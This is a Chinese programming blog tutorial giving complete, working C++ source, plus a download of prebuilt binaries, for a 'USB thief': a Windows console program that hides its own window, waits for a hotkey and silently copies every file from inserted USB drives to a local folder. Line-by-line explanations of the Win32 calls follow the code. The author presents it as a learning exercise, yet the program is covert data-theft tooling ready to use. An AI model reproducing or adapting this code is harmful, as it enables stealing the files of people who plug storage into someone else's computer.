对于C/C++学习感兴趣的小伙伴,可以看看这篇文章哦:C/C++教程
本文主要介绍了一个控制台版本的U盘小偷,另一篇文章介绍了实现一个用MFC写的U盘小偷,更加详细!点击这里查看
所谓U盘小偷,顾名思义,就是一种可以在暗中窃取U盘数据的一个程序
但本文志不在此,主要是学习U盘小偷程序中所用到的技术
我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐
所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行
运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境
此程序主要特色有:
此程序设计到的知识点有:
为了演示看到效果,我显示了窗口,实际上可以一直在隐藏状态下进行复制U盘文件
具体如何更改,请参考RegisterHotKey 函数官方文档
点击此处下载
该压缩包解压后如图
一,二项分别为32位和64位的应用,可点击直接运行,点击后是隐藏的,可按alt+z显示,具体快捷键参考上文
三,四项为项目工程,分别为vs2019和vs2022的项目
选择对应的版本解压,就可以直接点击UDisktThief.sln工程文件,直接用vs打开就可以直接使用
如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可
#include
#include
#include
#include
#include
#include
#include
using namespace std;
#pragma comment(lib,"Dbghelp.lib")
//定义存储复制文件与目的地文件结构体
struct DString
{
string oldFile;
string newFile;
DString(const string& _oldFile, const string& _newFile) {
oldFile = _oldFile;
newFile = _newFile;
}
};
bool isShow=false;
queue<DString> g_qFile; //文件信息队列
mutex g_qMutex; //队列互斥体
mutex g_outMutex; //输出互斥体
int g_numofThread=5; //开启复制文件的线程数
HANDLE* hThread = new HANDLE[g_numofThread];
atomic<int> g_exitThread; //记录退出的线程数量
string g_savePath = "D:\\Thief"; //保存文件的路径
ULONGLONG g_SpendTime;//记录拷贝所总共所用时间
bool g_bExit = false; //决定拷贝文件的线程是否退出
//注册全局热键
bool RegisterGlobalKey();
//删除全局快捷键
void UnRegistreGlobalKey();
//找U盘
vector<string> FindDriver();
//处理消息
bool DealMsg(WPARAM wParam);
//搜索所有文件
void FindAllFile(string savePath, string dir);
//拷贝文件的线程
unsigned _stdcall ThrToCopy(void*);
//搜索文件的线程
unsigned __stdcall ThrToSearch(void* param);
int main() {
ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口
//创建内核对象,防止多开
CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");
if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用
bool ret=RegisterGlobalKey();//注册全局款快捷键
if (!ret) return -1;
SetConsoleTitleW(L"UDisktThief"); //设置窗口标题
MSG msg{};
while (GetMessage(&msg, NULL, 0, 0)) { //接受消息
ret = DealMsg(msg.wParam); //处理消息
if (!ret) break; //false则退出程序
}
UnRegistreGlobalKey(); //注销全局快捷键
}
bool RegisterGlobalKey() {
bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行
if (!ret) return ret;
ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序
if (!ret) return ret;
ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //Ctrl+alt 显示与隐藏窗口
if (!ret) return ret;
return ret;
}
void UnRegistreGlobalKey() {
UnregisterHotKey(NULL,'l');
UnregisterHotKey(NULL,'q');
UnregisterHotKey(NULL,'s');
}
vector<string> FindDriver() {
int len = GetLogicalDriveStringsA(0, 0);
std::string dri;
dri.resize(len);
GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());
vector<string> uDrive;
for (int i = 0; i < len - 1; i++) {
if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出
if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环
i += 1;
if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);
}
return uDrive;
}
bool DealMsg(WPARAM wParam) { //处理消息
switch (wParam)
{
case 'l': //开始执行程序
{
cout << "开始执行!" << endl;
vector<string> uDrive = FindDriver(); //找U盘
if (uDrive.empty()) {
cout << "没有U盘!" << endl;
break;
} //没有则直接退出
g_SpendTime = GetTickCount64();
g_bExit = false; //设置线程退出标志为false
for (int i = 0; i < uDrive.size(); i++) {
char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
strcpy_s(buf,4,uDrive[i].data());
_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
}
g_exitThread = 1;
for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
}
}
break;
case 'q': //退出程序
g_bExit = true;
Sleep(50);
cout << "退出程序!" << endl;
return false;
case 's': //显示或隐藏界面
isShow = !isShow;
ShowWindow(GetConsoleWindow(), isShow);
break;
default:
break;
}
return true;
}
unsigned __stdcall ThrToCopy(void*) {
while (!g_bExit) {
//从队列中取数据
g_qMutex.lock();
if (g_qFile.empty()) {
g_qMutex.unlock();
continue;
}
DString cf = g_qFile.front();
g_qFile.pop();
g_qMutex.unlock();
g_outMutex.lock();
cout << "队列剩余任务:" << g_qFile.size() << endl;
g_outMutex.unlock();
BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件
g_outMutex.lock();
if (ret) cout << cf.oldFile << ":复制完成\t" << endl;
else cout << cf.oldFile << ":复制失败\t" << endl;
g_outMutex.unlock();
}
g_outMutex.lock();
cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;
g_outMutex.unlock();
return 0;
}
unsigned __stdcall ThrToSearch(void* param) {
FindAllFile(g_savePath, (char*)param);
delete param;
while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠
g_bExit = true; //退出复制文件的线程
WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);
g_SpendTime = GetTickCount64() - g_SpendTime;
int ms = (int)g_SpendTime % 1000; //毫秒
g_SpendTime /= 1000;
int sec = (int)g_SpendTime % 60; //秒
g_SpendTime /= 60;
int minutes = (int)g_SpendTime % 60; //分钟
int hours = (int)g_SpendTime / 60; //小时
g_outMutex.lock();
cout << "完成拷贝!搜索线程退出!" << endl;
printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
g_outMutex.unlock();
return 0;
}
void FindAllFile(string savePath, string dir) {
if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号
if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号
MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在
//遍历文件,添加到队列
WIN32_FIND_DATAA fileData{};
HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);
if (hFile == INVALID_HANDLE_VALUE) return;
do {
if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;
if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归
FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());
continue;
}
//找到文件,添加到队列
g_qMutex.lock();
g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));
g_qMutex.unlock();
//输出相应信息
g_outMutex.lock();
cout << "当前队列数量:" << g_qFile.size() << endl;
g_outMutex.unlock();
} while (FindNextFileA(hFile, &fileData));
FindClose(hFile);
}
首先从程序入口,main函数开始讲起
int main() {
ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口
//创建内核对象,防止多开
CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");
if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用
bool ret=RegisterGlobalKey();//注册全局款快捷键
if (!ret) return -1;
SetConsoleTitleW(L"UDisktThief"); //设置窗口标题
MSG msg{};
while (GetMessage(&msg, NULL, 0, 0)) { //接受消息
ret = DealMsg(msg.wParam); //处理消息
if (!ret) break; //false则退出程序
}
UnRegistreGlobalKey(); //注销全局快捷键
}
第一行,使用到了两个Win API:GetConsoleWindow,ShowWindow
GetConsoleWindow() //获取当前控制台窗口的句柄
BOOL ShowWindow(
HWND hWnd, //要操作的窗口句柄
int nCmdShow //设置窗口显示方式,可以直接填false,为隐藏,true为显示,更多显示方式可点击上方函数颜色字体,跳转到官网查看
);
作用为将当前控制台隐藏
第二、三行,使用到的API函数为:CreateMutex,GetLastError
HANDLE CreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes, //安全属性,一般直接填NULL即可,默认安全
BOOL bInitialOwner, //是否拥有该内核,TRUE或FALSE应都可
LPCSTR lpName //该内核的名称,我用的是随机生成的GUID码,避免与其它程序相同
);
GetLastError(); //获取错误码
作用:尝试创建一个叫"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887"的内核对象,如果获取的错误码等于ERROR_ALREADY_EXISTS,表示该程序已经运行,直接退出,否则则正常运行
然后两行为我写的两个函数,分别用于注销全局热键和注册全局热键
bool RegisterGlobalKey() {
bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行
if (!ret) return ret;
ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序
if (!ret) return ret;
ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //alt+Z 显示与隐藏窗口
if (!ret) return ret;
return ret;
}
void UnRegistreGlobalKey() {
UnregisterHotKey(NULL,'l');
UnregisterHotKey(NULL,'q');
UnregisterHotKey(NULL,'s');
}
这两个函数非常简单,只是调用了两个win API函数:RegisterHotKey和UnregisterHotKey
BOOL RegisterHotKey(
HWND hWnd, //收全局热键消息的窗口,填NULL,表示将消息发送到当前线程
int id, //标识消息,通过这个可以识别消息,我这里使用的l代表启动(launch)程序,q代表退出(quit),s代表显示或隐藏窗口(show)
UINT fsModifiers,//组合键,就是经常使用的Ctrl,alt等
UINT vk //和组合键配合的键,两者结合成为完成的组合键,我注册了Ctrl,alt+Z,Ctrl+Q三个快捷键
);
BOOL UnregisterHotKey(
HWND hWnd, //要取消热键的窗口
int id //信息id,与注册信息id使用的同一个值
);
之所以先调用注销,也是以防万一全局快捷键被其它程序注册,注销后就注册热键,如注册热键失败则直接退出程序.
然后用到了win API函数:SetConsoleTitleW
BOOL WINAPI SetConsoleTitle(
LPCTSTR lpConsoleTitle //要为当前控制台设置的标题
);
该函数的作用只是修改控制台窗口的标题
然后来到了最关键的一步------消息队列,使用到了Win API函数:GetMessage和一个消息结构体MSG
BOOL GetMessage(
[out] LPMSG lpMsg, //存放收到的消息
[in, optional] HWND hWnd, //收哪个窗口的消息,填NULL,收本线程的消息
[in] UINT wMsgFilterMin, //要收最低消息id,一般直接填0即可
[in] UINT wMsgFilterMax //要收最高消息id,一般直接填0即可,收所有消息
);
typedef struct tagMSG {
HWND hwnd; //接收消息的窗口句柄
UINT message; //消息标识符
WPARAM wParam; //参数,取决于具体消息类型,此程序消息中,该参数的内容为之前注册的消息id
LPARAM lParam; ///参数,取决于具体消息类型,此程序消息中,无用
DWORD time; //消息被发送的时间
POINT pt; //消息发送时,鼠标的坐标
DWORD lPrivate; //无说明
} MSG, *PMSG, *NPMSG, *LPMSG;
该函数的作用就是不断收取属于自己的消息,然后将消息交给DealMsg函数处理,如果该函数返回false,则退出消息循环,即退出程序
最后注销之前注册的全局热键,最后退出
bool g_bExit = false; //决定拷贝文件的线程是否退出
bool isShow = false; //当前窗口是否显示
bool DealMsg(WPARAM wParam) { //处理消息
switch (wParam)
{
case 'l': //开始执行程序
{
cout << "开始执行!" << endl;
vector<string> uDrive = FindDriver(); //找U盘
if (uDrive.empty()) {
cout << "没有U盘!" << endl;
break;
} //没有则直接退出
g_SpendTime = GetTickCount64();
g_bExit = false; //设置线程退出标志为false
for (int i = 0; i < uDrive.size(); i++) {
char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
strcpy_s(buf,4,uDrive[i].data());
_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
}
g_exitThread = 1;
for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
}
}
break;
case 'q': //退出程序
g_bExit = true;
Sleep(50);
cout << "退出程序!" << endl;
return false;
case 's': //显示或隐藏界面
isShow = !isShow;
ShowWindow(GetConsoleWindow(), isShow);
break;
default:
break;
}
return true;
}
此函数的作用为,根据接收到的消息id,分开处理不同任务
在运行程序分支中,首先要查看当前电脑中是否存在U盘,这里用到了我写的一个函数FindDriver
vector<string> FindDriver() {
int len = GetLogicalDriveStringsA(0, 0); //获取盘符名总长度
std::string dri;
dri.resize(len);
GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());//获取盘符名
vector<string> uDrive; //存储U盘名
for (int i = 0; i < len - 1; i++) {
if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出
if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环
i += 1;
if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);
}
return uDrive;
}
该函数中主要调用了两个Win API函数:GetLogicalDriveStringsA,GetDriveTypeA
DWORD GetLogicalDriveStringsA(
[in] DWORD nBufferLength, //缓存区长度
[out] LPSTR lpBuffer //缓存区
);
//作用:将当前系统所有盘符都返回到缓存区中,每个盘符之间用\0
UINT GetDriveTypeA(
LPCSTR lpRootPathName //盘符名称,获取该盘符的类型,如果是U盘则返回DRIVE_REMOVABLE
);
该函数的原理就是将当前所有电脑盘符得到为一个字符串,再对该字符串进行解析,分别判断盘符的类型,如果是U盘则存储,最后返回获得的U盘名称
紧接着DealMsg函数中下一句为判断返回的U盘名数组是否为空,如果为空则直接退出
如果不为空,则说明存在U盘,紧接着使用了GetTickCount64函数
g_SpendTime = GetTickCount64();
该函数的作用就是获取系统启动到当前所经过的毫秒数,并将结果保存到全局变量g_SpendTime中,方便最后计算拷贝U盘文件所消耗的时间
g_bExit = false; //设置线程退出标志为false
紧接着就是将全局变量g_bExit设置为false,该全局变量的作用是用于通知后面开启的线程何时退出,当该变量为true时,拷贝文件的所有线程都会退出
for (int i = 0; i < uDrive.size(); i++) {
char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
strcpy_s(buf,4,uDrive[i].data());
_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
}
然后就是为当前电脑的每个U盘都开启搜索线程,将U盘名拷贝到堆中,然后将指针传递给搜索线程
这里使用的是C语言的线程库#include,用到的就是这个开启线程的函数
_ACRTIMP uintptr_t __cdecl _beginthreadex(
void* _Security, //安全属性,一般填NULL
unsigned _StackSize, //线程的初始栈大小,填0,默认
_beginthreadex_proc_type _StartAddress, //线程的入口函数
void* _ArgList, //为线程传递的参数
unsigned _InitFlag, //线程启动标志,填0立即启动
unsigned* _ThrdAddr //返回线程的ID,填0,不接收即可
);
该函数与Windows API创建线程的函数CreateThread各个参数含义相同,可以参考官方文档
开启搜索线程之后,就是开启拷贝线程了
g_exitThread = 1;
for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
}
这里将全局变量g_exitThread 设置为1,该全局变量的作用是计数退出的拷贝线程,每退出一个拷贝线程,该数加1,方便最好确认所有线程都正确退出
值得注意的是,该变量为#include库中的原子类型,这是避免多线程情况下,该数被不正常修改
全局变量g_numofThread为要开启的拷贝线程数量,我设置的5个,当然也可以设置更多,当然也不是说拷贝线程设置的越多便速度越快,主要取决于电脑,具体情况需要自己测试
然后就是通过for循环开启线程,并将开启的线程返回值,也就是线程句柄存储到全局变量hThread数组中,作用是使搜索线程等待这些拷贝线程结束,然后再结束
unsigned __stdcall ThrToSearch(void* param) {
FindAllFile(g_savePath, (char*)param);
delete param;
while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠
g_bExit = true; //退出复制文件的线程
WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);
g_SpendTime = GetTickCount64() - g_SpendTime;
int ms = (int)g_SpendTime % 1000; //毫秒
g_SpendTime /= 1000;
int sec = (int)g_SpendTime % 60; //秒
g_SpendTime /= 60;
int minutes = (int)g_SpendTime % 60; //分钟
int hours = (int)g_SpendTime / 60; //小时
g_outMutex.lock();
cout << "完成拷贝!搜索线程退出!" << endl;
printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
g_outMutex.unlock();
return 0;
}
搜索线程函数首先调用了FindAllFile函数,该函数为我自己写的,作用是遍历一个U盘中的所有文件,并将要拷贝的文件路径和要拷贝的位置,通过全局结构体队列保存起来
struct DString
{
string oldFile;
string newFile;
DString(const string& _oldFile, const string& _newFile) {
oldFile = _oldFile;
newFile = _newFile;
}
};
queue<DString> g_qFile; //文件信息队列
当搜索完成后,进入while循环,等待文件信息队列中的信息全部被拷贝完成
while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠
然后就是等待所有拷贝线程结束,方法是设置全局变量g_bExit 为true通知线程,然后再等待所有线程结束
g_bExit = true; //退出复制文件的线程
WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);
这里使用到的一个Win API函数WaitForMultipleObjects
DWORD WaitForMultipleObjects(
[in] DWORD nCount, //要等待的线程数量
[in] const HANDLE *lpHandles, //线程句柄数组
[in] BOOL bWaitAll, //是否等待所有
[in] DWORD dwMilliseconds //等待时间,INFINITE,也就是-1,为一直等待
);
当然此函数的用法并不局限于线程句柄,其它用法请参考官方文档
然后就简单了,当所有拷贝线程完成工作退出,就是计算一下花费了多少时间并输出
主要需要注意的点是输出的操作
g_outMutex.lock();
cout << "完成拷贝!搜索线程退出!" << endl;
printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
g_outMutex.unlock();
g_outMutex为全局互斥体变量,lock表示占用输出,当前只能我输出.unlock表示输出完了,让别人输出,目的是防止多线程同时输出,导致输出混乱
接下来就是线程拷贝函数
unsigned __stdcall ThrToCopy(void*) {
while (!g_bExit) {
//从队列中取数据
g_qMutex.lock();
if (g_qFile.empty()) {
g_qMutex.unlock();
continue;
}
DString cf = g_qFile.front();
g_qFile.pop();
g_qMutex.unlock();
g_outMutex.lock();
cout << "队列剩余任务:" << g_qFile.size() << endl;
g_outMutex.unlock();
BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件
g_outMutex.lock();
if (ret) cout << cf.oldFile << ":复制完成\t" << endl;
else cout << cf.oldFile << ":复制失败\t" << endl;
g_outMutex.unlock();
}
g_outMutex.lock();
cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;
g_outMutex.unlock();
return 0;
}
该函数的作用就是从文件信息队列中取文件信息,并进行拷贝
可以看到,主要就是一个while循环,以全局变量g_bExit为条件,如果为false,就会一直循环,当为true则退出循环
这里从队列中取文件信息也用到了互斥体,目的也是防止多个线程同时在一个队列中取数据,出现意想不到的错误
取出文件信息后,用到了win API函数CopyFileA
BOOL CopyFileA(
[in] LPCSTR lpExistingFileName, //要复制的文件
[in] LPCSTR lpNewFileName, //复制的目的地,新文件
[in] BOOL bFailIfExists //如果文件存在,true将返回失败,false,将覆盖旧文件
);
该函数的作用就是将U盘中的文件复制到电脑上
最后就是输出一些显示信息
该函数作用就是将U盘文件和复制目的地保存到全局队列中
实现逻辑:
void FindAllFile(string savePath, string dir) {
if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号
if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号
MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在
//遍历文件,添加到队列
WIN32_FIND_DATAA fileData{};
HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);
if (hFile == INVALID_HANDLE_VALUE) return;
do {
if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;
if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归
FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());
continue;
}
//找到文件,添加到队列
g_qMutex.lock();
g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));
g_qMutex.unlock();
//输出相应信息
g_outMutex.lock();
cout << "当前队列数量:" << g_qFile.size() << endl;
g_outMutex.unlock();
} while (FindNextFileA(hFile, &fileData));
FindClose(hFile);
}
此函数用到的win API函数有:
MakeSureDirectoryPathExists,FindFirstFileA,FindNextFileA
结构体:WIN32_FIND_DATAA
#include
#pragma comment(lib,"Dbghelp.lib")
BOOL IMAGEAPI MakeSureDirectoryPathExists(
[in] PCSTR DirPath //路径
);
作用:如果指定的路径不存在,此函数将自动创建目录,确保该路径存在
HANDLE FindFirstFileA(
[in] LPCSTR lpFileName, //要找的文件名称,遍历文件夹就要使用通配符
[out] LPWIN32_FIND_DATAA lpFindFileData //保存找到的文件信息
);
该函数用于遍历文件的第一次操作,得到返回句柄,再调用FindNextFileA,这两个函数一般配合使用
BOOL FindNextFileA(
[in] HANDLE hFindFile, //FindFirstFileA函数返回的句柄
[out] LPWIN32_FIND_DATAA lpFindFileData //保存的文件信息
);
作用:用于遍历FindFirstFileA没有查看到的文件
BOOL FindClose(
[in, out] HANDLE hFindFile //FindFirstFileA函数返回的句柄
);
作用,关闭文件句柄
typedef struct _WIN32_FIND_DATAW {
DWORD dwFileAttributes; //文件具有的属性,如果为目录则有FILE_ATTRIBUTE_DIRECTORY
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
WCHAR cFileName[MAX_PATH]; //该成员保存了文件名
WCHAR cAlternateFileName[14];
DWORD dwFileType; // Obsolete. Do not use.
DWORD dwCreatorType; // Obsolete. Do not use
WORD wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;